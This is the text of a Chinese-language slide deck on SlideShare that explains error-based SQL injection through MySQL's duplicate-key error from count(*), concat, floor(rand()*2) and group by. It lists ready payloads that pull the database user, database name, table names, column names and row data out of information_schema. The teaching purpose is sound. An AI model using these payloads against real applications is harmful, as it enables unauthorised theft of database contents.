SlideShare a Scribd company logo
1 of 21
Download to read offline
SQL Injection語句原理淺析
Vance@hst.tw
I am nobody
● Vance Lin
● A php programer
● Interest in web security
● Hackstuff member
因為時間有限
所以請先聽我講一個故事
好的,故事是這樣的
這時候...
身為初心者的小明就只好選擇放棄了...
但是
你今天來到這裡,怎麼還可以跟小明一樣就這樣放棄了呢?
好的,故事結束了
想睡的可以開始睡了,後面都是原理很無聊
如來神掌第101式
select count(*), concat('~',(select user()),'~', floor(rand()*2)) as a from
information_schema.tables group by a
select count(*),
concat('~',(select user()),'~',
floor(rand()*2)) as a
from information_schema.tables
group by a
大家可能沒有學過如來神掌
所以可能會比較不熟悉...
1.concat
2.floor
3.rand
4.group by
Concat
Floor
Rand
Group by
開始拆解
select count(*), concat('~',(select user()),'~', floor(rand()*2)) as a from
information_schema.tables group by a
● select user(); 會得到目前連接資料庫的用戶名
○ 所以就是你想知道甚麼就在這邊塞甚麼 ex.database(),version()
● rand() * 2; 會得到小於1或大於1的數字
● floor(rand() * 2) 取得0或1
● concat() 把前面幾條加在一起
● from information_schema.tables 有較多的row,避免不會造成重複
● select count(*) 加上這個就有機會造成duplicate group_key
結果
失敗的時候會出現
結果
成功的時候會出現
適用情況
小明已經跟你說了,就是在不能使用Union select的情況下
所以我們就換個(ㄗ)語(ㄕˋ)法再來一次
進階利用
● 查 database
○ select count(*), concat('~',(select database()),'~', floor(rand()*2)) as a
from information_schema.tables group by a
● 查 table name
○ select count(*),concat((select (select (SELECT distinct concat('~',
table_name,'~') FROM information_schema.tables Where
table_schema='db_name' LIMIT 0,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group
by a
進階利用
● 查 column name
○ select count(*),concat((select (select (SELECT distinct concat('~',
column_name,'~') FROM information_schema.columns Where
table_schema='db_name' LIMIT 1,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group
by a
● 查 row
○ select count(*),concat((select(select concat(concat('~',
column_name,'~'))) from db_name.table_name limit 1,1),floor(rand(0)
*2)) as a from information_schema.tables group by a
Demo + Q&A

More Related Content

Viewers also liked

Algo/Crypto about CTF
Algo/Crypto about CTFAlgo/Crypto about CTF
Algo/Crypto about CTFhackstuff
 
ROP 輕鬆談
ROP 輕鬆談ROP 輕鬆談
ROP 輕鬆談hackstuff
 
Php lfi rfi掃盲大補帖
Php lfi rfi掃盲大補帖Php lfi rfi掃盲大補帖
Php lfi rfi掃盲大補帖hackstuff
 
cmd injection
cmd injectioncmd injection
cmd injectionhackstuff
 
Dvwa low level
Dvwa low levelDvwa low level
Dvwa low levelhackstuff
 
Antivirus Bypass
Antivirus BypassAntivirus Bypass
Antivirus Bypasshackstuff
 
調試器原理與架構
調試器原理與架構調試器原理與架構
調試器原理與架構hackstuff
 
Webshell 簡單應用
Webshell 簡單應用Webshell 簡單應用
Webshell 簡單應用hackstuff
 
Android x 網路爬蟲
Android x 網路爬蟲Android x 網路爬蟲
Android x 網路爬蟲Engine Bai
 
Return to dlresolve
Return to dlresolveReturn to dlresolve
Return to dlresolveAngel Boy
 
Pwning in c++ (basic)
Pwning in c++ (basic)Pwning in c++ (basic)
Pwning in c++ (basic)Angel Boy
 
Advanced heap exploitaion
Advanced heap exploitaionAdvanced heap exploitaion
Advanced heap exploitaionAngel Boy
 
twPolitwoops final
twPolitwoops finaltwPolitwoops final
twPolitwoops final橘毛 貓
 
Csw2016 macaulay eh_trace-rop_hooks
Csw2016 macaulay eh_trace-rop_hooksCsw2016 macaulay eh_trace-rop_hooks
Csw2016 macaulay eh_trace-rop_hooksCanSecWest
 
貫通物聯網每一哩路 with Microsfot Azure IoT Sutie
貫通物聯網每一哩路 with Microsfot Azure IoT Sutie貫通物聯網每一哩路 with Microsfot Azure IoT Sutie
貫通物聯網每一哩路 with Microsfot Azure IoT SutieHerman Wu
 
Csw2016 evron sysman_apt_reports_and_opsec_evolution
Csw2016 evron sysman_apt_reports_and_opsec_evolutionCsw2016 evron sysman_apt_reports_and_opsec_evolution
Csw2016 evron sysman_apt_reports_and_opsec_evolutionCanSecWest
 

Viewers also liked (20)

Algo/Crypto about CTF
Algo/Crypto about CTFAlgo/Crypto about CTF
Algo/Crypto about CTF
 
ROP 輕鬆談
ROP 輕鬆談ROP 輕鬆談
ROP 輕鬆談
 
Php lfi rfi掃盲大補帖
Php lfi rfi掃盲大補帖Php lfi rfi掃盲大補帖
Php lfi rfi掃盲大補帖
 
cmd injection
cmd injectioncmd injection
cmd injection
 
Dvwa low level
Dvwa low levelDvwa low level
Dvwa low level
 
Antivirus Bypass
Antivirus BypassAntivirus Bypass
Antivirus Bypass
 
調試器原理與架構
調試器原理與架構調試器原理與架構
調試器原理與架構
 
Crawler
CrawlerCrawler
Crawler
 
Webshell 簡單應用
Webshell 簡單應用Webshell 簡單應用
Webshell 簡單應用
 
Android x 網路爬蟲
Android x 網路爬蟲Android x 網路爬蟲
Android x 網路爬蟲
 
Return to dlresolve
Return to dlresolveReturn to dlresolve
Return to dlresolve
 
Pwning in c++ (basic)
Pwning in c++ (basic)Pwning in c++ (basic)
Pwning in c++ (basic)
 
Execution
ExecutionExecution
Execution
 
Advanced heap exploitaion
Advanced heap exploitaionAdvanced heap exploitaion
Advanced heap exploitaion
 
CSRF Attack
CSRF AttackCSRF Attack
CSRF Attack
 
Politwoops.tw
Politwoops.twPolitwoops.tw
Politwoops.tw
 
twPolitwoops final
twPolitwoops finaltwPolitwoops final
twPolitwoops final
 
Csw2016 macaulay eh_trace-rop_hooks
Csw2016 macaulay eh_trace-rop_hooksCsw2016 macaulay eh_trace-rop_hooks
Csw2016 macaulay eh_trace-rop_hooks
 
貫通物聯網每一哩路 with Microsfot Azure IoT Sutie
貫通物聯網每一哩路 with Microsfot Azure IoT Sutie貫通物聯網每一哩路 with Microsfot Azure IoT Sutie
貫通物聯網每一哩路 with Microsfot Azure IoT Sutie
 
Csw2016 evron sysman_apt_reports_and_opsec_evolution
Csw2016 evron sysman_apt_reports_and_opsec_evolutionCsw2016 evron sysman_apt_reports_and_opsec_evolution
Csw2016 evron sysman_apt_reports_and_opsec_evolution
 

SQL injection duplicate error principle